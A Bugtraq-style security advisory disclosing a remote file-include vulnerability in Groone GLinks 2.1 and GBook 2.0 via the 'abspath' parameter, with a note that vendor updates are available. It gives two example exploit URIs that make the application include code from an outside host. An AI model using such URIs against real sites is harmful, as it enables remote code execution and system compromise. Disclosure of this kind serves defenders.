Multiple Groone Products 'abspath' Parameter Remote File Include Vulnerability

Bugtraq ID:	33578
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Feb 03 2009 12:00AM
Updated:	Mar 10 2009 07:36PM
Credit:	k3vin mitnick( tunisianblackhat team )
Vulnerable:	Groone GLinks 2.1 Groone GBook 2.0
Not Vulnerable:

Multiple Groone Products 'abspath' Parameter Remote File Include Vulnerability

Multiple Groone products are prone to a remote file-include vulnerability because they fail to properly sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the applications and the underlying system; other attacks are also possible.

The following products are affected:

GLinks 2.1
GBook 2.0

Other versions may also be affected.

Multiple Groone Products 'abspath' Parameter Remote File Include Vulnerability

Attackers can exploit this issue via a browser.

The following example URIs are available:

http://www.example.com/glinks/includes/header.php?abspath=http://www.example2.com
http://www.example.com/gbook/includes/header.php?abspath=http://www.example2.com

Multiple Groone Products 'abspath' Parameter Remote File Include Vulnerability

Solution:
Vendor updates are available. Please contact the vendor for more information.

Multiple Groone Products 'abspath' Parameter Remote File Include Vulnerability

References:

• Home Page (Groone)